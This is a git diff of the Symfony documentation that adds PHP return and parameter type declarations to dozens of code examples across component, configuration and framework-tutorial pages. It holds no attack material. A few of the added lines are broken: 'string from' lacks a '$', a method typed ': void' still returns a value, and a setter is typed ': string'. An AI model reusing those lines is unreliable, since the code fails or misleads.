--- a/components/event_dispatcher/generic_event.rst
+++ b/components/event_dispatcher/generic_event.rst
@@ -54,7 +54,7 @@ Passing a subject::
 
     class FooListener
     {
-        public function handler(GenericEvent $event)
+        public function handler(GenericEvent $event): void
         {
             if ($event->getSubject() instanceof Foo) {
                 // ...
@@ -75,7 +75,7 @@ access the event arguments::
 
     class FooListener
     {
-        public function handler(GenericEvent $event)
+        public function handler(GenericEvent $event): void
         {
             if (isset($event['type']) && 'foo' === $event['type']) {
                 // ... do something
@@ -94,7 +94,7 @@ Filtering data::
 
     class FooListener
     {
-        public function filter(GenericEvent $event)
+        public function filter(GenericEvent $event): void
         {
             $event['data'] = strtolower($event['data']);
         }
diff --git a/components/expression_language.rst b/components/expression_language.rst
index f936efdb112..8d075425c26 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -322,7 +322,7 @@ register::
 
     class StringExpressionLanguageProvider implements ExpressionFunctionProviderInterface
     {
-        public function getFunctions()
+        public function getFunctions(): array
         {
             return [
                 new ExpressionFunction('lowercase', function ($str): string {
diff --git a/components/form.rst b/components/form.rst
index 79763fcacbe..33dfb37ad52 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -392,10 +392,11 @@ is created from the form factory.
         use Symfony\Component\Form\Extension\Core\Type\DateType;
         use Symfony\Component\Form\Extension\Core\Type\TextType;
         use Symfony\Component\HttpFoundation\Request;
+        use Symfony\Component\HttpFoundation\Response;
 
         class TaskController extends AbstractController
         {
-            public function new(Request $request)
+            public function new(Request $request): Response
             {
                 // createFormBuilder is a shortcut to get the "form factory"
                 // and then call "createBuilder()" on it
@@ -451,10 +452,11 @@ an "edit" form), pass in the default data when creating your form builder:
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\Form\Extension\Core\Type\DateType;
         use Symfony\Component\Form\Extension\Core\Type\TextType;
+        use Symfony\Component\HttpFoundation\Response;
 
         class DefaultController extends AbstractController
         {
-            public function new(Request $request)
+            public function new(Request $request): Response
             {
                 $defaults = [
                     'dueDate' => new \DateTime('tomorrow'),
@@ -536,10 +538,11 @@ by :method:`Symfony\\Component\\Form\\Form::handleRequest` to determine whether
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\Form\Extension\Core\Type\FormType;
+        use Symfony\Component\HttpFoundation\Response;
 
         class DefaultController extends AbstractController
         {
-            public function search()
+            public function search(): Response
             {
                 $formBuilder = $this->createFormBuilder(null, [
                     'action' => '/search',
@@ -581,10 +584,11 @@ method:
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\Form\Extension\Core\Type\DateType;
         use Symfony\Component\Form\Extension\Core\Type\TextType;
+        use Symfony\Component\HttpFoundation\Response;
 
         class TaskController extends AbstractController
         {
-            public function new(Request $request)
+            public function new(Request $request): Response
             {
                 $form = $this->createFormBuilder()
                     ->add('task', TextType::class)
@@ -676,12 +680,13 @@ option when building each field:
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\Form\Extension\Core\Type\DateType;
         use Symfony\Component\Form\Extension\Core\Type\TextType;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Validator\Constraints\NotBlank;
         use Symfony\Component\Validator\Constraints\Type;
 
         class DefaultController extends AbstractController
         {
-            public function new(Request $request)
+            public function new(Request $request): Response
             {
                 $form = $this->createFormBuilder()
                     ->add('task', TextType::class, [
diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index ee1ae532f87..6a3719f008d 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -790,7 +790,7 @@ methods. You can inject this as a service anywhere in your application::
         ) {
         }
 
-        public function normalize($user)
+        public function normalize($user): array
         {
             return [
                 'avatar' => $this->urlHelper->getAbsoluteUrl($user->avatar()->path()),
diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 2c3e5266a20..be3a723984e 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -706,7 +706,7 @@ look like this::
     use Symfony\Component\HttpKernel\Event\RequestEvent;
     // ...
 
-    public function onKernelRequest(RequestEvent $event)
+    public function onKernelRequest(RequestEvent $event): void
     {
         if (!$event->isMainRequest()) {
             return;
diff --git a/components/messenger.rst b/components/messenger.rst
index 14f220623e2..f52ca72e40d 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -111,7 +111,7 @@ that will do the required processing for your message::
 
     class MyMessageHandler
     {
-        public function __invoke(MyMessage $message)
+        public function __invoke(MyMessage $message): void
         {
             // Message processing...
         }
diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 050e7d0acc2..a71a08f7b77 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -121,7 +121,7 @@ code::
     {
         // ...
 
-        public function sendMail($from, $to)
+        public function sendMail($from, $to): void
         {
             $mail = ...;
             $mail->setHost($this->options['host']);
@@ -147,7 +147,7 @@ It's a good practice to split the option configuration into a separate method::
             $this->options = $resolver->resolve($options);
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'host'       => 'smtp.example.org',
@@ -166,7 +166,7 @@ than processing options. Second, sub-classes may now override the
     // ...
     class GoogleMailer extends Mailer
     {
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             parent::configureOptions($resolver);
 
@@ -189,7 +189,7 @@ For example, to make the ``host`` option required, you can do::
     {
         // ...
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             // ...
             $resolver->setRequired('host');
@@ -213,7 +213,7 @@ one required option::
     {
         // ...
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             // ...
             $resolver->setRequired(['host', 'username', 'password']);
@@ -228,7 +228,7 @@ retrieve the names of all required options::
     // ...
     class GoogleMailer extends Mailer
     {
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             parent::configureOptions($resolver);
 
@@ -251,7 +251,7 @@ been set::
     {
         // ...
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             // ...
             $resolver->setRequired('host');
@@ -261,7 +261,7 @@ been set::
     // ...
     class GoogleMailer extends Mailer
     {
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             parent::configureOptions($resolver);
 
@@ -296,7 +296,7 @@ correctly. To validate the types of the options, call
     {
         // ...
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             // ...
 
@@ -347,7 +347,7 @@ to verify that the passed option contains one of these values::
     {
         // ...
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             // ...
             $resolver->setDefault('transport', 'sendmail');
@@ -408,7 +408,7 @@ option. You can configure a normalizer by calling
     {
         // ...
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             // ...
 
@@ -430,7 +430,7 @@ if you need to use other options during normalization::
     class Mailer
     {
         // ...
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             // ...
             $resolver->setNormalizer('host', function (Options $options, string $value): string {
@@ -470,7 +470,7 @@ these options, you can return the desired default value::
     class Mailer
     {
         // ...
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             // ...
             $resolver->setDefault('encryption', null);
@@ -502,7 +502,7 @@ the closure::
     class Mailer
     {
         // ...
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             // ...
             $resolver->setDefaults([
@@ -514,7 +514,7 @@ the closure::
 
     class GoogleMailer extends Mailer
     {
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             parent::configureOptions($resolver);
 
@@ -545,14 +545,14 @@ from the default::
     class Mailer
     {
         // ...
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             // ...
             $resolver->setDefault('port', 25);
         }
 
         // ...
-        public function sendMail($from, $to)
+        public function sendMail(string $from, string $to): void
         {
             // Is this the default value or did the caller of the class really
             // set the port to 25?
@@ -572,14 +572,14 @@ be included in the resolved options if it was actually passed to
     {
         // ...
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             // ...
             $resolver->setDefined('port');
         }
 
         // ...
-        public function sendMail($from, $to)
+        public function sendMail(string from, string $to): void
         {
             if (array_key_exists('port', $this->options)) {
                 echo 'Set!';
@@ -606,7 +606,7 @@ options in one go::
     class Mailer
     {
         // ...
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             // ...
             $resolver->setDefined(['port', 'encryption']);
@@ -622,7 +622,7 @@ let you find out which options are defined::
     {
         // ...
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             parent::configureOptions($resolver);
 
@@ -652,7 +652,7 @@ default value::
     {
         // ...
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefault('spool', function (OptionsResolver $spoolResolver): void {
                 $spoolResolver->setDefaults([
@@ -664,7 +664,7 @@ default value::
             });
         }
 
-        public function sendMail($from, $to)
+        public function sendMail(string $from, string $to): void
         {
             if ('memory' === $this->options['spool']['type']) {
                 // ...
@@ -687,7 +687,7 @@ to the closure to access to them::
     {
         // ...
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefault('sandbox', false);
             $resolver->setDefault('spool', function (OptionsResolver $spoolResolver, Options $parent): void {
@@ -711,7 +711,7 @@ In same way, parent options can access to the nested options as normal arrays::
     {
         // ...
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefault('spool', function (OptionsResolver $spoolResolver): void {
                 $spoolResolver->setDefaults([
@@ -856,7 +856,7 @@ method::
     class InvoiceMailer
     {
         // ...
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             // ...
             $resolver->define('host')
diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 4a4411fbe1a..cdc99497892 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -418,7 +418,7 @@ times (order matters)::
         /**
          * @group legacy
          */
-        public function testDeprecatedCode()
+        public function testDeprecatedCode(): void
         {
             // test some code that triggers the following deprecation:
             // trigger_deprecation('vendor-name/package-name', '5.1', 'This "Foo" method is deprecated.');
@@ -504,7 +504,7 @@ If you have this kind of time-related tests::
 
     class MyTest extends TestCase
     {
-        public function testSomething()
+        public function testSomething(): void
         {
             $stopwatch = new Stopwatch();
 
@@ -575,7 +575,7 @@ test::
      */
     class MyTest extends TestCase
     {
-        public function testSomething()
+        public function testSomething(): void
         {
             $stopwatch = new Stopwatch();
 
@@ -603,7 +603,7 @@ different class, do it explicitly using ``ClockMock::register(MyClass::class)``:
 
     class MyClass
     {
-        public function getTimeInHours()
+        public function getTimeInHours(): void
         {
             return time() / 3600;
         }
@@ -621,7 +621,7 @@ different class, do it explicitly using ``ClockMock::register(MyClass::class)``:
      */
     class MyTest extends TestCase
     {
-        public function testGetTimeInHours()
+        public function testGetTimeInHours(): void
         {
             ClockMock::register(MyClass::class);
 
@@ -669,7 +669,7 @@ associated to a valid host::
 
     class MyTest extends TestCase
     {
-        public function testEmail()
+        public function testEmail(): void
         {
             $validator = new DomainValidator(['checkDnsRecord' => true]);
             $isValid = $validator->validate('example.com');
@@ -691,7 +691,7 @@ the data you expect to get for the given hosts::
      */
     class DomainValidatorTest extends TestCase
     {
-        public function testEmails()
+        public function testEmails(): void
         {
             DnsMock::withMockedHosts([
                 'example.com' => [['type' => 'A', 'ip' => '1.2.3.4']],
@@ -761,7 +761,7 @@ are installed during tests) would look like::
 
     class MyClassTest extends TestCase
     {
-        public function testHello()
+        public function testHello(): void
         {
             $class = new MyClass();
             $result = $class->hello(); // "The dependency behavior."
@@ -782,7 +782,7 @@ classes, interfaces and/or traits for the code to run::
     {
         // ...
 
-        public function testHelloDefault()
+        public function testHelloDefault(): void
         {
             ClassExistsMock::register(MyClass::class);
             ClassExistsMock::withMockedClasses([DependencyClass::class => false]);
@@ -940,7 +940,7 @@ Consider the following example::
 
     class Bar
     {
-        public function barMethod()
+        public function barMethod(): string
         {
             return 'bar';
         }
@@ -953,7 +953,7 @@ Consider the following example::
         ) {
         }
 
-        public function fooMethod()
+        public function fooMethod(): string
         {
             $this->bar->barMethod();
 
@@ -963,7 +963,7 @@ Consider the following example::
 
     class FooTest extends PHPUnit\Framework\TestCase
     {
-        public function test()
+        public function test(): void
         {
             $bar = new Bar();
             $foo = new Foo($bar);
diff --git a/components/property_access.rst b/components/property_access.rst
index bf1453d17ee..dcaf1576128 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -120,7 +120,7 @@ it with ``get``. So the actual method becomes ``getFirstName()``::
     {
         private string $firstName = 'Wouter';
 
-        public function getFirstName()
+        public function getFirstName(): string
         {
             return $this->firstName;
         }
@@ -143,12 +143,12 @@ getters, this means that you can do something like this::
         private bool $author = true;
         private array $children = [];
 
-        public function isAuthor()
+        public function isAuthor(): bool
         {
             return $this->author;
         }
 
-        public function hasChildren()
+        public function hasChildren(): bool
         {
             return 0 !== count($this->children);
         }
@@ -237,7 +237,7 @@ The ``getValue()`` method can also use the magic ``__get()`` method::
             'Wouter' => [...],
         ];
 
-        public function __get($id)
+        public function __get($id): mixed
         {
             return $this->children[$id];
         }
@@ -267,7 +267,7 @@ enable this feature by using :class:`Symfony\\Component\\PropertyAccess\\Propert
             'wouter' => [...],
         ];
 
-        public function __call($name, $args)
+        public function __call($name, $args): mixed
         {
             $property = lcfirst(substr($name, 3));
             if ('get' === substr($name, 0, 3)) {
@@ -364,7 +364,7 @@ see `Enable other Features`_::
     {
         private array $children = [];
 
-        public function __call($name, $args)
+        public function __call($name, $args): mixed
         {
             $property = lcfirst(substr($name, 3));
             if ('get' === substr($name, 0, 3)) {
diff --git a/components/serializer.rst b/components/serializer.rst
index 33fc71e4b69..d285cb56fa1 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -86,7 +86,7 @@ exists in your project::
             return $this->name;
         }
 
-        public function getCreatedAt()
+        public function getCreatedAt(): ?\DateTimeInterface
         {
             return $this->createdAt;
         }
@@ -248,12 +248,12 @@ Assume you have the following plain-old-PHP object::
 
         private string $bar;
 
-        public function getBar()
+        public function getBar(): string
         {
             return $this->bar;
         }
 
-        public function setBar($bar)
+        public function setBar($bar): string
         {
             return $this->bar = $bar;
         }
@@ -1308,22 +1308,22 @@ Circular references are common when dealing with entity relations::
         private string $name;
         private array $members;
 
-        public function setName($name)
+        public function setName($name): void
         {
             $this->name = $name;
         }
 
-        public function getName()
+        public function getName(): string
         {
             return $this->name;
         }
 
-        public function setMembers(array $members)
+        public function setMembers(array $members): void
         {
             $this->members = $members;
         }
 
-        public function getMembers()
+        public function getMembers(): array
         {
             return $this->members;
         }
@@ -1334,22 +1334,22 @@ Circular references are common when dealing with entity relations::
         private string $name;
         private Organization $organization;
 
-        public function setName(string $name)
+        public function setName(string $name): void
         {
             $this->name = $name;
         }
 
-        public function getName()
+        public function getName(): string
         {
             return $this->name;
         }
 
-        public function setOrganization(Organization $organization)
+        public function setOrganization(Organization $organization): void
         {
             $this->organization = $organization;
         }
 
-        public function getOrganization()
+        public function getOrganization(): Organization
         {
             return $this->organization;
         }
@@ -1641,24 +1641,24 @@ parameter of the ``ObjectNormalizer``::
         private ObjectInner $inner;
         private \DateTimeInterface $date;
 
-        public function getInner()
+        public function getInner(): ObjectInner
         {
             return $this->inner;
         }
 
-        public function setInner(ObjectInner $inner)
+        public function setInner(ObjectInner $inner): void
         {
             $this->inner = $inner;
         }
 
-        public function setDate(\DateTimeInterface $date)
+        public function getDate(): \DateTimeInterface
         {
-            $this->date = $date;
+            return $this->date;
         }
 
-        public function getDate()
+        public function setDate(\DateTimeInterface $date): void
         {
-            return $this->date;
+            $this->date = $date;
         }
     }
 
diff --git a/components/string.rst b/components/string.rst
index bea4705ff05..5af19fc617d 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -554,7 +554,7 @@ the injected slugger is the same as the request locale::
         ) {
         }
 
-        public function someMethod()
+        public function someMethod(): void
         {
             $slug = $this->slugger->slug('...');
         }
diff --git a/components/validator/metadata.rst b/components/validator/metadata.rst
index 5a88dab76ed..e7df42413bc 100755
--- a/components/validator/metadata.rst
+++ b/components/validator/metadata.rst
@@ -19,7 +19,7 @@ the ``Author`` class has at least 3 characters::
     {
         private string $firstName;
 
-        public static function loadValidatorMetadata(ClassMetadata $metadata)
+        public static function loadValidatorMetadata(ClassMetadata $metadata): void
         {
             $metadata->addPropertyConstraint('firstName', new Assert\NotBlank());
             $metadata->addPropertyConstraint(
@@ -40,7 +40,7 @@ Suppose that, for security reasons, you want to validate that a password field
 doesn't match the first name of the user. First, create a public method called
 ``isPasswordSafe()`` to define this custom validation logic::
 
-    public function isPasswordSafe()
+    public function isPasswordSafe(): bool
     {
         return $this->firstName !== $this->password;
     }
@@ -53,7 +53,7 @@ Then, add the Validator component configuration to the class::
 
     class Author
     {
-        public static function loadValidatorMetadata(ClassMetadata $metadata)
+        public static function loadValidatorMetadata(ClassMetadata $metadata): void
         {
             $metadata->addGetterConstraint('passwordSafe', new Assert\IsTrue([
                 'message' => 'The password cannot match your first name',
@@ -74,7 +74,7 @@ validation logic::
         // ...
         use Symfony\Component\Validator\Context\ExecutionContextInterface;
 
-        public function validate(ExecutionContextInterface $context)
+        public function validate(ExecutionContextInterface $context): void
         {
             // ...
         }
@@ -87,7 +87,7 @@ Then, add the Validator component configuration to the class::
 
     class Author
     {
-        public static function loadValidatorMetadata(ClassMetadata $metadata)
+        public static function loadValidatorMetadata(ClassMetadata $metadata): void
         {
             $metadata->addConstraint(new Assert\Callback('validate'));
         }
diff --git a/components/var_dumper.rst b/components/var_dumper.rst
index 5557fbdc24d..24e6f022e70 100644
--- a/components/var_dumper.rst
+++ b/components/var_dumper.rst
@@ -294,7 +294,7 @@ Example::
     {
         use VarDumperTestTrait;
 
-        protected function setUp()
+        protected function setUp(): void
         {
             $casters = [
                 \DateTimeInterface::class => static function (\DateTimeInterface $date, array $a, Stub $stub): array {
@@ -311,7 +311,7 @@ Example::
             $this->setUpVarDumper($casters, $flags);
         }
 
-        public function testWithDumpEquals()
+        public function testWithDumpEquals(): void
         {
             $testedVar = [123, 'foo'];
 
@@ -797,7 +797,7 @@ Here is a simple caster not doing anything::
 
     use Symfony\Component\VarDumper\Cloner\Stub;
 
-    function myCaster($object, $array, Stub $stub, $isNested, $filter)
+    function myCaster(mixed $object, array $array, Stub $stub, bool $isNested, int $filter): array
     {
         // ... populate/alter $array to your needs
 
@@ -861,7 +861,7 @@ that holds a file name or a URL, you can wrap them in a ``LinkStub`` to tell
     use Symfony\Component\VarDumper\Caster\LinkStub;
     use Symfony\Component\VarDumper\Cloner\Stub;
 
-    function ProductCaster(Product $object, $array, Stub $stub, $isNested, $filter = 0)
+    function ProductCaster(Product $object, array $array, Stub $stub, bool $isNested, int $filter = 0): array
     {
         $array['brochure'] = new LinkStub($array['brochure']);
 
diff --git a/configuration.rst b/configuration.rst
index 8cb078a88f7..ee645c0aa21 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -1068,7 +1068,7 @@ parameters at once by type-hinting any of its constructor arguments with the
         ) {
         }
 
-        public function someMethod()
+        public function someMethod(): void
         {
             // get any container parameter from $this->params, which stores all of them
             $sender = $this->params->get('mailer_sender');
diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 937c0e341f6..3da4ed6b1c1 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -848,14 +848,14 @@ create a class that implements
 
     class LowercasingEnvVarProcessor implements EnvVarProcessorInterface
     {
-        public function getEnv(string $prefix, string $name, \Closure $getEnv)
+        public function getEnv(string $prefix, string $name, \Closure $getEnv): string
         {
             $env = $getEnv($name);
 
             return strtolower($env);
         }
 
-        public static function getProvidedTypes()
+        public static function getProvidedTypes(): array
         {
             return [
                 'lowercase' => 'string',
diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index ac0d50e1671..feda47d5f16 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -247,7 +247,7 @@ Now it looks like this::
             return $bundles;
         }
 
-        protected function build(ContainerBuilder $containerBuilder)
+        protected function build(ContainerBuilder $containerBuilder): void
         {
             $containerBuilder->registerExtension(new AppExtension());
         }
diff --git a/configuration/using_parameters_in_dic.rst b/configuration/using_parameters_in_dic.rst
index 852b06506ce..3cac5d5049c 100644
--- a/configuration/using_parameters_in_dic.rst
+++ b/configuration/using_parameters_in_dic.rst
@@ -107,7 +107,7 @@ be injected with this parameter via the extension as follows::
         {
         }
 
-        public function getConfigTreeBuilder()
+        public function getConfigTreeBuilder(): TreeBuilder
         {
             $treeBuilder = new TreeBuilder('my_bundle');
 
@@ -134,7 +134,7 @@ And set it in the constructor of ``Configuration`` via the ``Extension`` class::
     {
         // ...
 
-        public function getConfiguration(array $config, ContainerBuilder $container)
+        public function getConfiguration(array $config, ContainerBuilder $container): Configuration
         {
             return new Configuration($container->getParameter('kernel.debug'));
         }
diff --git a/console.rst b/console.rst
index 77a0a3ee605..2ab065cedbb 100644
--- a/console.rst
+++ b/console.rst
@@ -489,7 +489,7 @@ console::
 
     class CreateUserCommandTest extends KernelTestCase
     {
-        public function testExecute()
+        public function testExecute(): void
         {
             $kernel = self::bootKernel();
             $application = new Application($kernel);
diff --git a/console/input.rst b/console/input.rst
index 2e6d9a1a438..cd5f8f71586 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -386,7 +386,7 @@ to help you unit test the completion logic::
 
     class GreetCommandTest extends TestCase
     {
-        public function testComplete()
+        public function testComplete(): void
         {
             $application = new Application();
             $application->add(new GreetCommand());
diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index 7d16e0f9d0b..39d96d9e247 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -111,7 +111,7 @@ short example containing most features described below::
         /**
          * Performs some basic operations for a given value.
          */
-        private function performOperations(mixed $value = null, bool $theSwitch = false)
+        private function performOperations(mixed $value = null, bool $theSwitch = false): void
         {
             if (!$theSwitch) {
                 return;
diff --git a/contributing/documentation/standards.rst b/contributing/documentation/standards.rst
index 4a5d3c43a31..46d152fe844 100644
--- a/contributing/documentation/standards.rst
+++ b/contributing/documentation/standards.rst
@@ -109,7 +109,7 @@ Example
     {
         // ...
 
-        public function foo($bar)
+        public function foo($bar): mixed
         {
             // set foo with a value of bar
             $foo = ...;
diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index dc132e3d021..56148422aed 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -58,7 +58,7 @@ so Symfony doesn't try to get/set its value from the related entity::
 
     class ProductType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 // ...
@@ -327,9 +327,10 @@ Now you're ready to use this service in the controller::
 
     use App\Service\FileUploader;
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
 
     // ...
-    public function new(Request $request, FileUploader $fileUploader)
+    public function new(Request $request, FileUploader $fileUploader): Response
     {
         // ...
 
diff --git a/create_framework/event_dispatcher.rst b/create_framework/event_dispatcher.rst
index e4921097a33..650e4c7554e 100644
--- a/create_framework/event_dispatcher.rst
+++ b/create_framework/event_dispatcher.rst
@@ -53,7 +53,7 @@ the Response instance::
         ) {
         }
 
-        public function handle(Request $request)
+        public function handle(Request $request): Response
         {
             $this->matcher->getContext()->fromRequest($request);
 
@@ -95,12 +95,12 @@ now dispatched::
         ) {
         }
 
-        public function getResponse()
+        public function getResponse(): Response
         {
             return $this->response;
         }
 
-        public function getRequest()
+        public function getRequest(): Request
         {
             return $this->request;
         }
@@ -195,7 +195,7 @@ Let's refactor the code a bit by moving the Google listener to its own class::
 
     class GoogleListener
     {
-        public function onResponse(ResponseEvent $event)
+        public function onResponse(ResponseEvent $event): void
         {
             $response = $event->getResponse();
 
@@ -217,7 +217,7 @@ And do the same with the other listener::
 
     class ContentLengthListener
     {
-        public function onResponse(ResponseEvent $event)
+        public function onResponse(ResponseEvent $event): void
         {
             $response = $event->getResponse();
             $headers = $response->headers;
@@ -259,7 +259,7 @@ look at the new version of the ``GoogleListener``::
     {
         // ...
 
-        public static function getSubscribedEvents()
+        public static function getSubscribedEvents(): array
         {
             return ['response' => 'onResponse'];
         }
@@ -276,7 +276,7 @@ And here is the new version of ``ContentLengthListener``::
     {
         // ...
 
-        public static function getSubscribedEvents()
+        public static function getSubscribedEvents(): array
         {
             return ['response' => ['onResponse', -255]];
         }
diff --git a/create_framework/http_foundation.rst b/create_framework/http_foundation.rst
index 2859c18553b..53c86ebb8b9 100644
--- a/create_framework/http_foundation.rst
+++ b/create_framework/http_foundation.rst
@@ -61,7 +61,7 @@ unit test for the above code::
 
     class IndexTest extends TestCase
     {
-        public function testHello()
+        public function testHello(): void
         {
             $_GET['name'] = 'Fabien';
 
diff --git a/create_framework/http_kernel_controller_resolver.rst b/create_framework/http_kernel_controller_resolver.rst
index 12d9efead6e..1c2857c9ed9 100644
--- a/create_framework/http_kernel_controller_resolver.rst
+++ b/create_framework/http_kernel_controller_resolver.rst
@@ -10,7 +10,7 @@ class::
 
     class LeapYearController
     {
-        public function index($request)
+        public function index($request): Response
         {
             if (is_leap_year($request->attributes->get('year'))) {
                 return new Response('Yep, this is a leap year!');
@@ -112,26 +112,26 @@ More interesting, ``getArguments()`` is also able to inject any Request
 attribute; if the argument has the same name as the corresponding
 attribute::
 
-    public function index($year)
+    public function index(int $year)
 
 You can also inject the Request and some attributes at the same time (as the
 matching is done on the argument name or a type hint, the arguments order does
 not matter)::
 
-    public function index(Request $request, $year)
+    public function index(Request $request, int $year)
 
-    public function index($year, Request $request)
+    public function index(int $year, Request $request)
 
 Finally, you can also define default values for any argument that matches an
 optional attribute of the Request::
 
-    public function index($year = 2012)
+    public function index(int $year = 2012)
 
 Let's inject the ``$year`` request attribute for our controller::
 
     class LeapYearController
     {
-        public function index($year)
+        public function index(int $year): Response
         {
             if (is_leap_year($year)) {
                 return new Response('Yep, this is a leap year!');
@@ -165,7 +165,7 @@ Let's conclude with the new version of our framework::
     use Symfony\Component\HttpKernel;
     use Symfony\Component\Routing;
 
-    function render_template(Request $request)
+    function render_template(Request $request): Response
     {
         extract($request->attributes->all(), EXTR_SKIP);
         ob_start();
diff --git a/create_framework/http_kernel_httpkernel_class.rst b/create_framework/http_kernel_httpkernel_class.rst
index fdb2a0b3f5d..fa673f9ba57 100644
--- a/create_framework/http_kernel_httpkernel_class.rst
+++ b/create_framework/http_kernel_httpkernel_class.rst
@@ -96,7 +96,7 @@ The error controller reads as follows::
 
     class ErrorController
     {
-        public function exception(FlattenException $exception)
+        public function exception(FlattenException $exception): Response
         {
             $msg = 'Something went wrong! ('.$exception->getMessage().')';
 
@@ -133,7 +133,7 @@ instead of a full Response object::
 
     class LeapYearController
     {
-        public function index($year)
+        public function index(int $year): string
         {
             $leapYear = new LeapYear();
             if ($leapYear->isLeapYear($year)) {
@@ -158,7 +158,7 @@ only if needed::
 
     class StringResponseListener implements EventSubscriberInterface
     {
-        public function onView(ViewEvent $event)
+        public function onView(ViewEvent $event): void
         {
             $response = $event->getControllerResult();
 
@@ -167,7 +167,7 @@ only if needed::
             }
         }
 
-        public static function getSubscribedEvents()
+        public static function getSubscribedEvents(): array
         {
             return ['kernel.view' => 'onView'];
         }
diff --git a/create_framework/http_kernel_httpkernelinterface.rst b/create_framework/http_kernel_httpkernelinterface.rst
index f883b4a2e1d..4f9e1c731bf 100644
--- a/create_framework/http_kernel_httpkernelinterface.rst
+++ b/create_framework/http_kernel_httpkernelinterface.rst
@@ -76,7 +76,7 @@ to cache a response for 10 seconds, use the ``Response::setTtl()`` method::
     // example.com/src/Calendar/Controller/LeapYearController.php
 
     // ...
-    public function index(Request $request, $year)
+    public function index(Request $request, int $year): Response
     {
         $leapYear = new LeapYear();
         if ($leapYear->isLeapYear($year)) {
diff --git a/create_framework/separation_of_concerns.rst b/create_framework/separation_of_concerns.rst
index 76098683226..e0937fbdf45 100644
--- a/create_framework/separation_of_concerns.rst
+++ b/create_framework/separation_of_concerns.rst
@@ -34,7 +34,7 @@ request handling logic into its own ``Simplex\Framework`` class::
         ) {
         }
 
-        public function handle(Request $request)
+        public function handle(Request $request): Response
         {
             $this->matcher->getContext()->fromRequest($request);
 
@@ -102,7 +102,7 @@ Move the controller to ``Calendar\Controller\LeapYearController``::
 
     class LeapYearController
     {
-        public function index(Request $request, $year)
+        public function index(Request $request, int $year): Response
         {
             $leapYear = new LeapYear();
             if ($leapYear->isLeapYear($year)) {
@@ -120,7 +120,7 @@ And move the ``is_leap_year()`` function to its own class too::
 
     class LeapYear
     {
-        public function isLeapYear($year = null)
+        public function isLeapYear(int $year = null): bool
         {
             if (null === $year) {
                 $year = date('Y');
diff --git a/create_framework/templating.rst b/create_framework/templating.rst
